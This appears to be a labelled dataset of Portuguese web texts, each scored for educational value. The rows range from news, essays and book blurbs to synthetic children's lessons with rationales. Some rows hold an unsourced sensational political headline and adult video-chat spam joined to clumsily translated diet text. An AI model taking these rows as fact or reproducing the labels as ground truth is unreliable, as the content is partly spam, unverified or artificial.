portar crachá oficial. Somos um país insultado, insulado, descentrado, desNorteado e tremebundo. Quem ainda bate bem do coco se borra de medo do Vibrião Colérico, enquanto o cinismo e a perversão livram muitos da falta de ar do absurdo. Num artigo outro dia, Muniz Sodré lembrou a navalha de Carlos Lacerda. A um adversário que lhe disse: “Suas palavras entram por um ouvido e logo saem por outro”, o polemista contestou: “Impossível, o som não se propaga no vácuo”. Vácuo! Vivemos no vácuo do pântano mental do Vibrião — criatura preservada no formol da ditadura nos ricos subsolos secretos banhados por esgoto a céu aberto do Planalto Centrão. +JU_106 | Um samba da sinestesia, que tal? +Venho de viagem amiga à irmã em Itaipava. Volto tingido do verde e do gris reluzente dos gigantes pétreos da serra do mar, do violáceo e branco dum manacá resiliente e do rosado estradeiro do capim-meloso. Ouço ao chegar um samba elegante e furta-cor do Chico terçado ton sur ton com o bandolim do Hamilton de Holanda. No laranja-fogo da tarde de terça baixo à estação de mim, enfim. Penso que quase somos — tem hora e cor — seres-estrelas. Não? Seres-pirilampos? Não? Buracos negros a guardar tudo que é onda e luz? Se pá? +JU_105 | Óbolos para o oblívio no matulão +“Ora (direis) ouvir estrelas! Certo perdeste o senso!” Sim, na brumosa-vertiginosa voragem da Via Láctea — sinal de folia. E pensar que há pequenez humana no mundo que não contrasta o céu — sinal de psicopatia — nem encara as ilusões perdidas — sinal de putaria. E há quem, até, por ver em tudo ninharia, diz não ao Bloomsday neste dia, 16, por não querer festejar os cem anos do Ulisses, tal maravilha, o que é sinal de mixaria.",original,original,original,original,2,0.4 +"A Internet não é mais uma terra sem lei, mas como achar o equilíbrio entre liberdades e regulação? (Foto: ""Corra que a polícia vem ai"", Paramount Pictures, e ""Matrix"", Warner Bros.) +O texto afirma que, em nome da transparência e da proteção da democracia representativa, o grupo endossa os seguintes princípios: +(1) A internet é global e a legislação relacionada a ela deve derivar de princípios acordados globalmente; +(2) A propagação deliberada de desinformação e a divisão são ameaças críveis à continuação e ao crescimento da democracia e a um diálogo global civilizatório; +(3) Empresas de tecnologia globais devem reconhecer seu grande poder e demonstrar sua prontidão em aceitar sua grande responsabilidade como detentores de influência; +(4) As empresas de mídia social devem ser responsabilizadas se não cumprirem uma ordem judicial, legal ou regulamentar para remover conteúdo nocivo e enganoso de suas plataformas, e devem ser regulamentadas para garantir que cumpram com esse requisito; +(5) As empresas de tecnologia devem demonstrar sua responsabilidade aos usuários, tornando-se plenamente responsáveis ​​perante as legislações nacionais e outros órgãos da democracia representativa. +O grupo de parlamentares da Argentina, Bélgica, Brasil (representado pelo deputado Alessandro Molon), Canadá, França, Irlanda, Letônia, Singapura e Reino Unido espera que essa Declaração possa indicar um novo rumo no combate global à desinformação, trazendo as plataformas para o centro da discussão. +O texto, inclusive, foi assinado após uma sessão de sabatina do vice-presidente de Relações Institucionais do Facebook, Richard Allan, com o mesmo grupo. Mark Zuckerberg havia sido convidado, mas se negou a participar, enviando Allan como representante da empresa. +A Declaração revela como o debate sobre regulação da internet –e mais especialmente das grandes plataformas– vai ganhando contornos políticos. O texto afirma ainda que a rede está colocando em risco o futuro das democracias participativas. Ele chama atenção para a existência de ""campanhas agressivas de desinformação lançadas de um país contra cidadãos em outro e a atividade coordenada de contas falsas usando métodos de segmentação de dados para tentar manipular as informações que as pessoas veem nas redes sociais"". +Duas semanas antes, durante a realização do Fórum de Governança da Internet (IGF, na sigla em inglês), da ONU, em Paris, o presidente francês Emmanuel Macron se manifestou na mesma linha. No ponto mais incisivo de seu discurso de 49 minutos, Macron expressou sua visão de regulação da rede como uma solução intermediária entre a inovação de empresas privadas, uma tendência californiana, e o controle estatal, como uma abordagem chinesa. Em suas próprias palavras: +Eu estava em uma salinha ao lado enquanto o presidente francês falava. No começo, era possível sentir o entusiasmo da audiência pelo simples (e relevante) fato de um presidente abrir uma edição do Fórum de Governança da Internet — isso mostra a importância do tema para a gestão Macron. Quando o presidente começou a expor suas intenções de uma regulação mais dura, que remova quase automaticamente de conteúdos considerados extremos e responsabilize as plataformas por isso, o clima da sala foi mudando. +O Marco Civil não impede as plataformas de remover conteúdos que violem os seus termos de uso. Elas podem fazer isso muito antes de qualquer ordem judicial, mas sempre dentro dos limites informados em suas políticas (e se a remoção for abusiva pode gerar responsabilidade por isso). Todavia, a obrigação de remover e a consequente responsabilização por não o fazer decorre apenas depois de uma ordem judicial. +E por que uma ordem judicial é tão importante? Porque o juiz, ao apreciar o caso, analisa o conteúdo em questão. Cabe ao juiz decidir se uma foto, texto ou vídeo é mesmo um ilícito e se danos foram causados. O juiz não decide em abstrato, mas sim olhando as provas que são apresentadas nos autos. +Por isso, por melhores que sejam as inte...",original,original,original,original,4,0.8 +"Na obra estão mais de 1200 desenhos anatômicos de Da Vinci, distribuídos em 215 gravuras feitas em preto e branco que mostram a diferença entre um gênio e um mero desenhista. +Os registros são conhecidos por sua extraordinária beleza e precisão. Tamanha que eles antecederiam, em muito, trabalhos análogos que viriam a aparecer até o século XVII. O problema de Da Vinci é que ele não chegou a terminar e publicar o trabalho. Se o fizesse poderia ter revolucionado a medicina décadas antes do belga Andreas Vesaluis, chamado de “Pai da Anatomia”, que publicou seu De Humani Corporis Fabrica em 1543. +Da Vinci foi além do que costumavam fazer os chamados “artistas-anatomistas”. Os autores do livro Charles O’Malley (Universidade de Stanford) e L.B Saunders (Universidade da Califórnia) explicam que era comum eles se aproximarem dos médicos para aperfeiçoar seus traços. Mas no caso do pintor italiano criador da Mona Lisa a anatomia era algo mais do que um simples coadjuvante da arte. Por isso ele adquiriu conhecimentos que ultrapassaram e muito os necessários para desempenhar sua arte, explicam os escritores. +O mesmo zelo se pode atribuir aos tradutores para o português. O trabalho foi realizado pelo cirurgião cardíaco Pedro Carlos Piantino Lemos, professor de Faculdade de Medicina da Universidade de São Paulo (USP), em parceria com a tradutora Maria Cristina Vilhena Carnevale, e levou dez anos. +São 520 páginas e informações que explicam detalhadamente o lado anatomista do gênio italiano. Como acréscimos, Lemos criou marcações que ajudam o leitor a ligar o desenho ao comentário a que se refere. Os tradutores também inseriam termos médicos atuais que ajudam na localização do que foi descrito por Leonardo, pois na época boa parte do organismo humano ainda não tinha nome. +O AUTOR – Leonardo da Vinci foi pintor, escultor, músico, cientista, arquiteto, engenheiro, inventor. Talvez nenhuma outra figura personifique tanto o ideal humanista do Renascimento quanto ele. Um homem polivalente que não se contentava em dominar uma dada técnica artística ou em registrar os mecanismos de uma invenção. Guiado por uma curiosidade insaciável, ele procurava entender o porquê dos diferentes fenômenos. Seus escritos, interesses e reflexões permitem acessar os mais variados aspectos de sua mente incisiva, questionadora e investigativa que, não por acaso, mergulhou na aventura científica de estudar e representar os elementos constitutivos do corpo humano. (Com assessoria) +Alessandro Silva _ Jornal da Unicamp _ 29 de julho a 4 de agosto de 2013 +Artista italiano usou a matemática e o desenho para entender o funcionamento da “máquina” humana +Viaje cinco séculos no tempo. Esqueça a internet, a televisão, o cinema e a fotografia. Houve uma época em que o homem teve que recorrer ao desenho para retratar sua viagem de descoberta rumo ao interior do corpo humano. Os portugueses nem haviam chegado ao Brasil quando Leonardo Da Vinci (1452-1519) começou um dos mais impressionantes levantamentos de anatomia para entender o funcionamento de órgãos, do esqueleto, dos músculos e tendões. Esta é a história pouco conhecida do artista-anatomista italiano – sim, além de pintor, escultor, músico, cientista, arquiteto, engenheiro e inventor, ele também atuou na medicina. +Ao longo de 15 anos (de 1498 a 1513), Leonardo desenhou órgãos e elementos dos sistemas anatomofuncionais do corpo humano em um estudo que começou pela leitura das obras de autores da medicina pré-renascentista, como Galeno de Pérgamo (129-200), Mondino dei Luzzi (1270-1326) e Avicena (980-1037). Ele também participou de dissecações do corpo humano e de diversos animais. Porém, jamais terminou e publicou a obra que, segundo pesquisadores, poderia ter revolucionado a medicina mais de 20 anos antes que o belga Andreas Vesalius, considerado o “Pai da Anatomia”, publicasse seu livro “De Humani Corporis Fabrica”, em 1543, obra que marca a fase inicial dos estudos modernos sobre anatomia. +Leonardo é tido como uma exceção en...",original,original,original,original,4,0.8 +"LULA foi levado a sede da PF em SP nessa madruga e imprensa se cala - Pensa Brasil - Em busca da notícia +Home » Giro » LULA foi levado a sede da PF em SP nessa madruga e imprensa se cala +LULA foi levado a sede da PF em SP nessa madruga e imprensa se cala 2k",original,original,original,original,1,0.2 +"Pasta do Professor — Prática de morfossintaxe: como e por que aprender análise (morfo)sintática 3a ed. +Linguística / Geral +Autor(es): Sautchuk, Inez +Prática de morfossintaxe é resultado do conhecimento teórico das diversas correntes linguísticas sobre o tema e da experiência didática da autora. Resgatando o caráter essencialmente lógico da análise sintática, em consonância com a morfológica, oferece um leque de tópicos fundamentais, sem se deter em pontos passíveis de interpretação variada. Por meio de uma explanação teórica clara e adequada, com exemplos precisos da língua em uso, esta obra lembra que a língua é uma atividade social e de ação sobre o outro e que surge em textos construídos em contextos diversos. +O que é morfossintaxe +O estudo da gramática de uma língua costuma ser feito, pedagogicamente, sob quatro aspectos, conforme as unidades linguísticas em estudo: fonemas, morfemas e palavras, sintagmas e frases, e unidades semânticas em geral. A cada um desses tipos de unidades linguísticas corresponde uma determinada área de estudo, ou seja, fonologia, morfologia, sintaxe e semântica. +Assim, quando a unidade focalizada é o fonema1, podem-se, por exemplo, estudar fenômenos da língua como a cacofonia (encontro de sons que produz um efeito desagradável ou cômico, como na vez passada – ouve-se na vespa assada) e a silabada (desvio de pronúncia padrão, como pronunciar Nobel como paroxítona). Se estivermos apenas nos limites dos morfemas (as menores unidades significativas da língua) e/ou das palavras, poderemos estudar, por exemplo, como se realizam processos de derivação (papel: papelote, papelada, papelão, papelaria) ou flexão (papel/papéis). +AS UNIDADES LINGUÍSTICAS E OS NÍVEIS DE ANÁLISE +As construções (1), (4) e (5) infringem, respectivamente, leis sintáticas, semânticas3 e morfológicas constitutivas do sistema do português, enquanto +(2) e (3) apenas contrariam regras normativas de sua sintaxe de concordância e de colocação4. +Pela mesma razão, isto é, pelo conhecimento e pelo domínio de sua gramática interiorizada, qualquer usuário de nossa língua é capaz de perceber, ainda que intuitivamente, “alguma coisa que lembra o português”, em uma frase assim: +(6) *As falemas do fanto mevem em fiscos. +Nessa frase, há a evidência de leis morfológicas e sintáticas do português que nos permitem localizar não só flexões típicas de gênero e número em prováveis substantivos (*falemas, *fanto, *fiscos) como, também, flexões verbais em +*mevem (um possível verbo na 3ª pessoa do plural do presente do indicativo). +Leis sintáticas de construção estão tão presentes na frase que conseguimos distinguir perfeitamente um sujeito (*as falemas do fanto), um verbo intransitivo (*mevem) e um adjunto adverbial (*em fiscos). Sabemos que a frase não usa “palavras” (lexemas) do português, mas organiza-se e autoriza-se mediante suas regras constitutivas. +POR QUE MORFOSSINTAXE? +O maior problema para o reconhecimento das categorias de palavras em português reside justamente em diferenciar aquelas que pertencem ao arquivo aberto (substantivos, adjetivos e verbos), uma vez que todas as demais poderiam ser teórica e facilmente memorizadas porque formam um conjunto fechado, que não se altera ou cresce. Daí a necessidade de se dominar um processo bastante seguro de reconhecimento dos substantivos, adjetivos e verbos. +Para demonstrar como é possível conseguir essa segurança, reservamos um item específico no Capítulo 2. +Há um princípio linguístico universal que afirma: “nada na língua funciona sozinho”. Para que todas essas unidades linguísticas a que nos referimos passem efetivamente a exercer qualquer função significativa ou comunicativa, é necessário sempre que se organizem ao menos em duas unidades. +Assim, é preciso que se juntem um radical (o lexema “puro” livr-, por exemplo) e uma desinência (um gramema dependente, como -o) para que tenhamos um vocábulo autônomo (livro), ou para que se forme um sintagma nominal (o seu livro, por exemplo) a partir de um art...",original,original,original,original,4,0.8 +"Livro narra o fim do Jornal do Brasil e analisa o futuro da mídia impressa +Para a Playboy, nudez não tem preço",original,original,original,original,1,0.2 +"Aguarde que o áudio iniciará automaticamente. +Sem dúvidas, a melhor só musicão. Parabens!! +A melhor rádio !!!! no carro em casa só ouço tribuna !!! Adoro..... +Como posso ouvir a tribuna no meu tablet? Adoro ouvir essa rádio. .... +seu site não funciona, não consigo acessar a rádio on line. +não consigo mais ouvir essa rádio em apucarana, faz muita falta, música de qualidade hoje em dia é artigo em extinção, só vocês aqui na região, o resto.....é resto....",original,original,original,original,1,0.2 +"30 de setembro de 2018 - 09h13 +Sesi reúne pais e alunos para contar a história de Porto Velho através de seus monumentos +A 1ª. Caminhada Histórica promovida pela escola Sesi-Senai Lagoa aconteceu no último sábado, 29, e reuniu dezenas de pais, alunos e a equipe pedagógica para mostrar e contar a história da capital de Rondônia através dos monumentos e prédios históricos. Antes das oito da manhã o movimento de pais e alunos era intenso na Praça das Caixas D’Água, local escolhido para a concentração e início da aula de campo. Na sequencia, o grupo visitou a Catedral Sagrado Coração de Jesus, Palácio do governo, Mercado cultural, Unir centro e encerrando na Estrada de Ferro Madeira Mamoré. +Nos locais visitados, professores do Sesi falaram um pouco da história, das características físicas, tipo de arquitetura, importância e simbologia, importância histórica, dentre outras observações pertinentes relacionadas aos monumentos. Os estudantes que prestaram atenção ao que foi dito responderam perguntas feitas no final do passeio e ganharam brindes trazidos pela Siça, filha do Manelão, fundador da banda Vai quem quer e que falou sobre o carnaval e a importância do pai para a cultura carnavalesca de Porto Velho. +O professor Luciano Silva falou da estrutura física, quando foi montada, e finalidade das Caixas D’Água. Na Catedral Sagrado Coração de Jesus foi a vez das professoras Adriana Simões e Ana Paula Gonçalves. Sobre o Palácio do governo e mercado cultural falaram as professora Flávia Dias e Paula Falcão. O professor Ademir Junior contou um pouco sobre a Universidade Federal de Rondônia e encerrando a caminhada, os professores Maria Aparecida Medeiros, Ademir Junior e Ellen Botelho abordaram a Estrada de Ferro Madeira Mamoré, sua importância histórica para o surgimento de Porto Velho. +Na avaliação Jair Santiago Coelho, coordenador educação Sesi-Senai-IEL-RO, esta iniciativa do Sesi quebra o convencional ao realizar uma aula a céu aberto abordando os monumentos que contam a história da cidade. “É importante, pois ao mesmo tempo em que ensina, o Sesi aglutina os pais neste intercâmbio com os professores e a direção da escola. Em meu ponto de vista foi uma ideia elogiável porque traz uma forte integração escola, aluno e família”, argumenta. +Ainda segundo o coordenador, ao mesmo tempo em que os professores estão ensinando aos filhos também atualizam os conhecimentos dos pais. “Os alunos aprenderam que a leitura não apenas a palavra impressa, pois eles leram a cidade através dos seus monumentos históricos. Estes conhecimentos são importantes e impactantes no aprendizado de todos”, exulta. +De acordo com a pedagoga e coordenadora do quarto ao sétimo ano, Tatiana Maíra Botelho Ribeiro “o projeto tem o objetivo de resgatar os valores históricos de Porto Velho tendo em vista que dia 2 de outubro é comemorado o aniversário da nossa capital. Antes desta caminhada, os alunos assistiram em sala de aula, uma palestra ministrada pelo historiador Anísio Gorayeb que falou sobre a construção da nossa cidade, como nasceu e suas histórias e a contribuição dos monumentos. A caminhada histórica é a segunda etapa deste um projeto voltado ao resgate da história de Porto Velho”, disse. +No ponto de vista da coordenadora de Educação, Juliane Loubach, este tipo de atividade é uma das propostas da metodologia do Sesi com o objetivo de ofertar aos alunos a teoria em sala de aula e a vivência prática que agrega mais conhecimento. “O professor atua como mediador deste conhecimento através da interação com os alunos. A participação dos pais também significativa. Foi um volume expressivo e este é um diferencial do Sesi que sempre convida a família dos alunos para participar desta vivência, pois todos aprendem”, afirmou. +Victor Santos, aluno do quarto ano ressaltou que a caminhada histórica foi excelente, pois aprendeu mais sobre Porto Velho. “Aprendi o que aconteceu antes de eu nascer. Também aprendi sobre como os monumentos foram feitos, as histórias e importância de c...",original,original,original,original,4,0.8 +"Depois de ler a notícia de um homem que morreu no México após ter aguentado os peidos em casa da namorada, este jovem resolveu não colocar mais a sua vida em risco. +Não é romântico, mas pode salvar vidas! +Sofia impressionou com a sua dança e recebeu o Botão Dourado +Turista experimenta pela 1ª vez fazer um vaso… o resultado é tudo menos um vaso! +Miúdo urina nos botões do elevador mas arrepende-se alguns segundos depois",original,original,original,original,0,0.0 +"Espaço Exclusivo para Garotas que Fazem Video Chamada no Whatsapp . Aqui você vai Encontrar Lindas Garotas que lhe farão você Sentir Muito Prazer na Chamada de Vídeo do Whatsapp . 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Durante o meu exame anual, a enfermeira me colocou em uma escala. Eu pisquei duas vezes quando vi o resultado. Eu tinha 32 anos, 5 pés e 4 polegadas de altura, 137 libras (62 kg), e foi a pior forma da minha vida. +""Sim"", eu disse suavemente. ""Mas, como?"" +Eu não me deixei olhar as escalas até o final da semana, mas quando eu fiz, valia a pena, eu perdi 5 quilos. +Sal. É em todas as mesas, em todos os restaurantes e em quase tudo que você compra no supermercado. De acordo com as Orientações dietéticas de 2005 para os americanos, sua ingestão diária não deve exceder 2. 300 mg, ou se você tiver pressão alta, 1. 500 mg por dia. Nunca pensei na quantidade de sódio que eu consumi até que eu comecei a procurar maneiras de comer mais saudável. Por curiosidade, comecei a acompanhar a comida. +Minha primeira viagem ao supermercado com um status baixo de sódio em mente foi decepcionante no extremo. Tudo, aparentemente, contém mais sódio do que poderia pagar. Meu amado pão de massa fermentada? Não, 200 mg por porção. Uma lata de sopa? Não, 1. 800 mg por lata. Turquia? Eu não podia pagar os 460 mg, nem os 350 mg de uma onça de picles doces. +Passei pela loja, abatido. Teria sido mais fácil alcançar a paz no Oriente Médio, pensei. No entanto, eu tinha que preencher a cesta com algo. Peguei a aveia de cozinha rápida, brócolis, cenouras, uvas, tomates, bolachas de baixo teor de sódio, batatas fritas de arroz com baixo teor de sódio, cuscuz, queijo feta, macarrão integral, arroz, manjericão e azeite. Quando saí da loja, cruzei os dedos e esperei ter a força de vontade de comer tudo em vez de correr para o Burger King mais próximo. +Na segunda semana, me senti energeticamente suficiente para começar a correr.Eu já não me senti inchado ou lento depois do jantar, não tinha medo de vestir as calças elásticas. Corri por 20 minutos três dias por semana. Eu não me deixei olhar as escalas até o final da semana, mas quando eu fiz, valia a pena, eu tinha perdido 5 libras. Olhei para mim no espelho e sorri. ""Não há retorno para trás"", disse-me. +Vídeo Tutorial: alerta não Corte o sódio na dieta é prejudicial. +Imagem De Raio-X Na Osteoartrite Do Quadril +Desenvolvimento Do Sistema Imunológico Em Crianças +Os Efeitos De Não Seguir Uma Dieta Equilibrada +Causas De Dor No Quadrante Superior Direito Do Abdômen",original,original,original,original,1,0.2 +"Fechamos com chave de ouro as fotos da Clarinha. Já publiquei aqui no site o primeiro ensaio que fizemos dela antes da festa de 15 anos e por último fizemos um ensaio com a Clara e suas amigas Gabi, Lara e Duda. +Obrigada meninas pela diversão, pela energia positiva e total disposição! Fazer ensaios deliciosos como esse são o que me inspiram a eternizar memórias através das minhas lentes.",original,original,original,original,0,0.0 +"Olá, pequenos exploradores das palavras! Já pararam para pensar como as letras se juntam para formar as histórias que tanto amamos? Hoje, vamos embarcar em uma aventura ortográfica, descobrindo segredos e truques para escrever de forma correta e divertida. Preparados? + +Imagine que as letras são como pecinhas de um quebra-cabeça. Cada pecinha tem seu lugar certinho para formar a imagem completa. Na escrita, é a mesma coisa! Se colocarmos as letras no lugar errado, a palavra pode ficar engraçada, mas não vai transmitir a mensagem que queremos. Por exemplo, se trocarmos o 'C' pelo 'S' na palavra 'casa', vira 'sasa', que não significa nada. Então, é importante prestar atenção em cada letrinha! + +E não são só as letras! Os sinais de pontuação, como o ponto final (.), a vírgula (,) e o ponto de interrogação (?), são como sinais de trânsito na nossa escrita. O ponto final indica que a frase acabou, como um semáforo vermelho. A vírgula nos ajuda a respirar e separar ideias, como uma pausa para pensar um pouquinho. E o ponto de interrogação mostra que estamos fazendo uma pergunta, como quando queremos saber: “Qual é a sua cor favorita?”. + +Vamos ver alguns exemplos práticos? Quando contamos uma história, usamos muitas vírgulas para listar coisas: “Eu comi pão, queijo, presunto e suco no café da manhã”. Perceberam como a vírgula dá um respiro entre cada item? E quando estamos muito animados e queremos mostrar surpresa ou alegria, usamos o ponto de exclamação (!), como em “Que legal!”. + +Agora, que tal um desafio? Observem as palavras ao seu redor: nos livros, nas placas da rua, nas embalagens dos seus brinquedos. Tentem identificar as letras, os sinais de pontuação e como eles se juntam para formar as palavras e frases. Prestem atenção nas regrinhas da ortografia, como o uso do 'M' antes de 'P' e 'B', ou o 'SS' entre vogais para ter o som de 'S'. + +Lembrem-se: a ortografia e a pontuação são nossas amigas na hora de escrever. Elas nos ajudam a expressar nossas ideias com clareza e a tornar nossas histórias ainda mais interessantes. Então, pratiquem bastante, leiam muito e divirtam-se com as palavras! E nunca se esqueçam de perguntar e pesquisar quando tiverem dúvidas. Escrever é uma aventura sem fim, cheia de descobertas e aprendizados! + +E aí, qual será a próxima palavra que você vai desvendar?",Português,Ortografia e pontuação,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional por introduzir conceitos de ortografia e pontuação de forma lúdica e acessível para crianças, utilizando analogias e exemplos práticos. Estimula a observação, a prática e a pesquisa, incentivando a clareza na escrita. É adequado para os anos iniciais do ensino fundamental, promovendo o aprendizado de maneira divertida e eficaz.",5,1.0 +"Você já parou para pensar quem vivia no Brasil antes da chegada dos portugueses? A resposta é simples: os povos indígenas! Eles não eram um grupo único, mas sim uma enorme diversidade de etnias, cada uma com sua língua, costumes, crenças e conhecimentos. A história do Brasil começa muito antes de 1500, e entender essa história é fundamental para construirmos um país mais justo e igualitário. + +Imagine o Brasil como um grande mosaico, onde cada peça representa um povo indígena diferente. Tupi, Guarani, Xavante, Yanomami, Ticuna... são apenas alguns exemplos dessa riqueza cultural. Cada um desses povos desenvolveu técnicas de agricultura, medicina, artesanato e organização social adaptadas ao seu ambiente. Por exemplo, os povos da Amazônia, como os Yanomami, dominavam o uso de plantas medicinais e conheciam profundamente a floresta, utilizando seus recursos de forma sustentável. Já os povos do litoral, como os Tupinambá, eram exímios pescadores e navegadores. + +A história dos povos indígenas no Brasil é marcada por muita luta e resistência. Desde a chegada dos portugueses, eles enfrentaram a violência da colonização, a perda de suas terras e a imposição de uma cultura diferente. Mas, apesar de tudo isso, os povos indígenas resistiram e continuam resistindo, preservando suas tradições e lutando por seus direitos. Hoje, eles estão presentes em todo o Brasil, tanto em áreas rurais quanto em cidades, e suas culturas continuam vivas e vibrantes. + +É importante lembrar que os povos indígenas não são apenas ""parte do passado"". Eles são parte do presente e do futuro do Brasil. Suas culturas e conhecimentos são valiosos para a construção de um país mais sustentável e justo. Ao conhecermos a história e a cultura dos povos indígenas, podemos aprender muito sobre respeito à natureza, convivência em comunidade e valorização da diversidade. + +Que tal pesquisar sobre o povo indígena que vive ou viveu na sua região? Descubra seus costumes, sua língua, suas histórias e seus desafios. Ao fazer isso, você estará contribuindo para valorizar a história e a cultura indígena, e para construir um Brasil mais justo e igualitário para todos.",História,Povos indígenas,anos finais (6º ao 9º ano),O trecho apresenta alto valor educacional. Apresenta informações básicas relevantes sobre os povos indígenas (1 ponto). Aborda elementos pertinentes à educação de forma organizada (mais 1 ponto). Introduz conceitos importantes relacionados ao currículo escolar de forma coerente (mais 1 ponto). O texto possui estilo de escrita claro e consistente (mais 1 ponto). Apresenta raciocínio detalhado e insights profundos sem complexidade (mais 1 ponto).,5,1.0 +"Olá, pequenos exploradores da matemática! Já pararam para pensar em como os números estão presentes em tudo ao nosso redor? Desde a nossa idade até o número da nossa casa, os números são como super-heróis discretos, sempre nos ajudando a entender o mundo. Vamos embarcar juntos em uma aventura para desvendar os segredos dos números e das operações básicas! + +Imagine que você tem 5 balas e seu amigo te dá mais 3. Quantas balas você tem agora? Para descobrir, usamos a adição, que é como juntar coisas. 5 + 3 = 8. Viu só? A adição é fácil e deliciosa, como ganhar um abraço quentinho! Podemos usar os dedos, desenhar bolinhas ou até contar objetos para nos ajudar a somar. Que tal praticar um pouco? Se você tem 2 cachorros e ganha mais 1, quantos cachorros você tem no total? + +Agora, vamos aprender sobre a subtração, que é o contrário da adição. Subtrair é como dar um pedacinho de algo para alguém. Imagine que você tem 7 figurinhas e dá 2 para seu irmão. Quantas figurinhas você tem agora? 7 - 2 = 5. A subtração nos ajuda a entender o que sobra quando tiramos algo. Se você tem 10 lápis de cor e perde 3, quantos lápis você ainda tem? + +A multiplicação é como uma adição rápida! Em vez de somar o mesmo número várias vezes, a gente multiplica. Por exemplo, se você tem 3 caixas com 4 brinquedos em cada uma, quantos brinquedos você tem no total? 3 x 4 = 12. A multiplicação nos ajuda a contar as coisas mais rápido. Se você tem 2 vasos com 5 flores em cada um, quantas flores você tem ao todo? + +A divisão é como compartilhar igualmente. Se você tem 15 doces e quer dividir entre 3 amigos, quantos doces cada um vai receber? 15 / 3 = 5. A divisão nos ajuda a ser justos e a distribuir as coisas de forma igual. Se você tem 20 livros e quer dividir entre 4 crianças, quantos livros cada criança vai ganhar? + +Os números e as operações básicas são ferramentas incríveis que nos ajudam a resolver problemas e a entender o mundo. Com a adição, a subtração, a multiplicação e a divisão, podemos fazer muitas coisas legais! Que tal continuar explorando o mundo dos números e descobrindo novas formas de usar a matemática no seu dia a dia? Lembre-se: a matemática está em tudo, basta abrir os olhos e começar a contar!",Matemática,Números e operações básicas,anos iniciais (1º ao 5º ano),"O texto introduz conceitos matemáticos básicos de forma lúdica e acessível para crianças, utilizando exemplos do cotidiano. Aborda adição, subtração, multiplicação e divisão, com perguntas que incentivam a prática. O estilo de escrita é claro e adequado para o público infantil, tornando o conteúdo altamente relevante para o ensino fundamental. Apresenta o raciocínio de forma detalhada e de fácil compreensão.",5,1.0 +"Por volta de 1h20min da madrugada desta segunda-feira, 24 de abril de 2017, o Banco do Brasil de Mairi, foi explodido por elementos fortemente armados.",original,original,original,original,1,0.2 +"Olá, pequenos exploradores! Já pararam para pensar em quem vivia no Brasil antes de Pedro Álvares Cabral chegar? Eram os povos indígenas! Eles já estavam aqui há milhares de anos, cuidando da nossa terra com muito carinho e sabedoria. Imagine só: o Brasil era todinho deles! + +Cada povo indígena é como uma grande família, com seus próprios costumes, línguas e histórias. Alguns vivem na floresta, outros perto dos rios, e cada um tem um jeito especial de se vestir, de construir suas casas e de se alimentar. Por exemplo, os Yanomami, que vivem na Amazônia, constroem casas grandes chamadas 'yano', onde várias famílias moram juntas. Já os Guarani, que vivem em várias partes do Brasil, são conhecidos por sua forte ligação com a natureza e por suas belas cestarias. + +A alimentação dos povos indígenas é muito saudável e vem da natureza. Eles plantam mandioca, milho, batata-doce e muitos outros alimentos. Também caçam e pescam, sempre respeitando os animais e a floresta. Vocês sabiam que muitos dos alimentos que comemos hoje, como a tapioca e o açaí, são heranças dos povos indígenas? + +As crianças indígenas aprendem desde cedo a importância de cuidar da natureza e a respeitar os mais velhos. Elas brincam, aprendem a pescar, a caçar e a plantar, tudo com muita alegria e união. Além disso, aprendem as histórias e os cantos de seus antepassados, mantendo viva a cultura de seu povo. + +Mas, infelizmente, ao longo da história, os povos indígenas sofreram muito. Suas terras foram invadidas e muitos de seus costumes foram esquecidos. Por isso, é muito importante que a gente conheça e valorize a cultura indígena, para que ela nunca desapareça. Que tal aprender algumas palavras em tupi-guarani? Ou conhecer mais sobre os mitos e lendas indígenas? + +Para finalizar, vamos pensar um pouquinho: o que podemos fazer para ajudar a preservar a cultura indígena? Como podemos mostrar que valorizamos a sabedoria desses povos que tanto têm a nos ensinar? Lembrem-se: a história do Brasil é muito mais rica e interessante quando conhecemos e respeitamos todos os povos que fazem parte dela!",História,Povos indígenas,anos iniciais (1º ao 5º ano),"O trecho apresenta informações básicas sobre os povos indígenas de forma acessível para crianças, introduzindo costumes, alimentação e a importância da preservação da cultura. A linguagem é clara e adequada ao público infantil, incentivando a reflexão e o respeito. Aborda a história e a importância dos povos indígenas na formação do Brasil, estimulando a valorização de suas culturas e conhecimentos. É um excelente material para uso em sala de aula nos anos iniciais do ensino fundamental.",5,1.0 +"Já parou para pensar em quantas vezes usamos frações e decimais no nosso dia a dia? Talvez você ache que matemática é algo distante, cheio de fórmulas complicadas, mas a verdade é que ela está presente em muitas situações corriqueiras. Hoje, vamos desvendar alguns segredos das frações e decimais e mostrar como elas são importantes para entendermos o mundo ao nosso redor. + +Imagine que você e seus amigos pediram uma pizza. A pizza veio dividida em 8 pedaços iguais e você comeu 3 desses pedaços. Matematicamente, podemos representar essa situação com uma fração: 3/8. O número de baixo, o 8, indica em quantas partes a pizza foi dividida (o todo), e o número de cima, o 3, indica quantos pedaços você comeu (a parte). As frações nos ajudam a representar partes de um todo. + +Agora, pense em uma barra de chocolate que custa R$ 2,50. Esse número, com a vírgula, é um decimal. Os decimais são como “primos” das frações, pois também representam partes de um todo, mas de uma forma diferente. R$ 2,50 significa que você precisa de duas moedas de R$ 1,00 e mais a metade de uma moeda de R$ 1,00 (ou seja, 50 centavos) para comprar o chocolate. A parte que vem depois da vírgula representa uma fração da unidade. + +As frações e os decimais estão por toda parte. Quando você mede a altura de alguém, usando metros e centímetros, está usando decimais. Por exemplo, uma pessoa que tem 1,65 metros de altura tem um metro inteiro e mais 65 centésimos de metro. Quando você divide uma receita de bolo pela metade, para fazer uma quantidade menor, está usando frações. + +Entender frações e decimais é fundamental para muitas coisas, desde calcular descontos em uma loja até entender as estatísticas em um jogo de futebol. E aí, já tinha se dado conta de como esses conceitos são importantes? Que outros exemplos de uso de frações e decimais você consegue encontrar no seu dia a dia? Que tal começar a prestar mais atenção e descobrir a matemática escondida nas coisas que você faz?",Matemática,Frações e decimais,anos finais (6º ao 9º ano),"O trecho apresenta um alto valor educacional, pois introduz frações e decimais de maneira contextualizada e acessível, utilizando exemplos práticos como pizza e dinheiro. A explicação é clara e progressiva, adequada para o ensino fundamental, incentivando a reflexão e a identificação desses conceitos no cotidiano. Há uma progressão clara de um ponto de partida acessível para a aplicação dos conceitos em situações reais, tornando o aprendizado mais significativo.",5,1.0 +"Levamos voluntários especialistas em diversas áreas para dar formação a educadores de infância, professores primários, diretores de escolas e bombeiros. Desta forma se aumenta a literacia e o conhecimento especializado em diversas áreas, numa perspetiva humana e sustentável. +Capacitação +Colaborando diretamente com diversas escolas identificamos necessidades, procuramos soluções e 